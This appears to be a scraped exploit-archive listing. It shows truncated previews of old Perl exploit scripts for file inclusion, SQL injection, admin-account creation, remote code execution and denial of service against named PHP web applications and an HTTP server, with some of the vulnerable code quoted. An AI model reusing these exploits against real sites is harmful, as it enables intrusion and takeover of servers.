cyboards-rfi.txt

!/usr/bin/perl CyBoards PHP Lite 1.21 scriptpath Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, Lu7k, Maik Vulnerable Code: include"$scriptpath/include/defaultstyle.css"; Vendor:...

Wserve HTTP Server 4.6 - Long Directory Name Denial of Service

Wserve HTTP Server 4.6 - Long Directory Name Denial of Service !perl Wserve HTTP Server 4.6 Version Long Directory Name Buffer Overflow - Denial Of Service Type : Buffer Overflow - Denial of Service Release Date : 2007-04-05 Product / Vendor : Wserve HTTP Server...

Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Wordpress 2.1.2 SQL Injection POC Credits: [email protected] Thanks to ferruh [email protected] improving my exploitation skills website:www.notsosecure.com Wordpress version 2.1.2 is vulnerable to sql injection. This POC works when...

Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ===================================================== Wordpress 2.1.2 xmlrpc Remote SQL Injection Exploit ===================================================== !/usr/bin/perl -w Wordpress 2.1.2 SQL Injection POC Wordpress version 2.1.2 is...

JSBoard 2.0.10 (login.php table) Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications =================================================================== JSBoard 2.0.10 login.php table Local File Inclusion Vulnerability =================================================================== !/usr/bin/perl jsboard 2.0.10login.ph...

sBLOG 0.7.3 Beta - '/inc/lang.php' Local File Inclusion

!/usr/bin/perl sBLOG 0.7.3 Betainc/lang.phpLocal File Inclusion Exploit D.Script: http://sourceforge.net/projects/sblog/ V.Code: ifisset$conflangdefault && fileexists'lang/' . $conflangdefault . '.php' require'lang/' . $conflangdefault . '.php'; Discovered & Coded by : GolDM = Mahmoodali...

PHP-Nuke Module AddressBook 1.2 - Local File Inclusion

PHP-Nuke Module AddressBook 1.2 - Local File Inclusion !Perl PHP-Nuke Module Addressbook 1.2 Local File Inclusion Exploit Vendor: http://www.sb-websoft.com/index.php?name=CmodsDownload&file=index&req=getit&lid=14 Vulnerable Code: requireonce"modules/$modulename/include/func.inc.php"; Coded by bd0...

IceBB 1.0-rc5 Remote Create Admin Exploit

Exploit for unknown platform in category web applications ========================================= IceBB 1.0-rc5 Remote Create Admin Exploit ========================================= !/usr/bin/perl IceBB 1.0-rc5 Remote Create Admin Exploit 1. register a user 2. run this exploit with this usage :...

PBlang <= 4.66z Remote Create Admin Exploit

No description provided by source. !/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url...

PHP-Nuke Module AddressBook 1.2 - Local File Inclusion

!Perl PHP-Nuke Module Addressbook 1.2 Local File Inclusion Exploit Vendor: http://www.sb-websoft.com/index.php?name=CmodsDownload&file=index&req=getit&lid=14 Vulnerable Code: requireonce"modules/$modulename/include/func.inc.php"; Coded by bd0rk || SOH-Crew Greetz: str0ke, TheJT, saint, CodeR, rgo...

Mambo Module Flatmenu <= 1.07 Remote File Include Exploit

Exploit for unknown platform in category web applications ========================================================= Mambo Module Flatmenu "Team Hell Crew :: Mambo 4.5.1 Modules Flatmenu geometry '500x300' ; $mw-resizable0,0; $mw-Label-text = 'Mambo 4.5.1 Modules Flatmenu 'Verdana 7...

PBlang 4.66z - Remote Code Execution

PBlang 4.66z - Remote Code Execution !/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access - magicquotesgpc = Off - Only work on 4.66z Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookie...

PBlang 4.66z - Remote Create Admin

!/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url = "http://".$host; print q PBLANG...

RoseOnlineCMS 3 beta2 (op) Local File Inclusion Exploit

No description provided by source. !/usr/bin/perl RoseOnlineCMS v3 B1opLocal File Inclusion Exploit P.Script: http://heanet.dl.sourceforge.net/sourceforge/rosecms/RoseOnlineCMSv3B1.rar V.Code: $op = !isset$GET'op' ? home : $GET'op' ; if isfile"modules/".$op.".php"...

PortailPhp 2.0 (idnews) Remote SQL Injection Exploit

No description provided by source. use LWP::Simple; print " Exploit Coded c by xoron Portail PHP v20 index.php Remote SQL Injection Exploit Languages: Turkish, English Plz Select Language:"; $dil = stdin; %eng = "site" = "Enter The Victim Without http://:", "path" = "Plz Select Path:", "id" = "Pl...

RoseOnlineCMS 3 beta2 - &#039;op&#039; Local File Inclusion

!/usr/bin/perl RoseOnlineCMS v3 B1opLocal File Inclusion Exploit P.Script: http://heanet.dl.sourceforge.net/sourceforge/rosecms/RoseOnlineCMSv3B1.rar V.Code: $op = !isset$GET'op' ? home : $GET'op' ; if isfile"modules/".$op.".php" include"modules/".$op.".php"; use IO::Socket; use LWP::Simple; ripp...

PortailPhp 2.0 - idnews SQL Injection

PortailPhp 2.0 - idnews SQL Injection use LWP::Simple; print " Exploit Coded c by xoron Portail PHP v20 index.php Remote SQL Injection Exploit Languages: Turkish, English Plz Select Language:"; $dil = ; %eng = "site" = "Enter The Victim Without http://:", "path" = "Plz Select Path:", "id" = "Plz...

PortailPhp 2.0 (idnews) Remote SQL Injection Exploit

No description provided by source. use LWP::Simple; print " Exploit Coded c by xoron Portail PHP v20 index.php Remote SQL Injection Exploit Languages: Turkish, English Plz Select Language:"; $dil = stdin; %eng = "site" = "Enter The Victim Without http://:", "path" = "Plz Select Path:", "id" = "Pl...

PortailPhp 2.0 (idnews) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ==================================================== PortailPhp 2.0 idnews Remote SQL Injection Exploit ==================================================== use LWP::Simple; print " Exploit Coded c by xoron Portail PHP v20 index.php Remote...

PortailPhp 2.0 - &#039;idnews&#039; SQL Injection

use LWP::Simple; print " Exploit Coded c by xoron Portail PHP v20 index.php Remote SQL Injection Exploit Languages: Turkish, English Plz Select Language:"; $dil = ; %eng = "site" = "Enter The Victim Without http://:", "path" = "Plz Select Path:", "id" = "Plz Select User ID:" ; %turk = "site" =...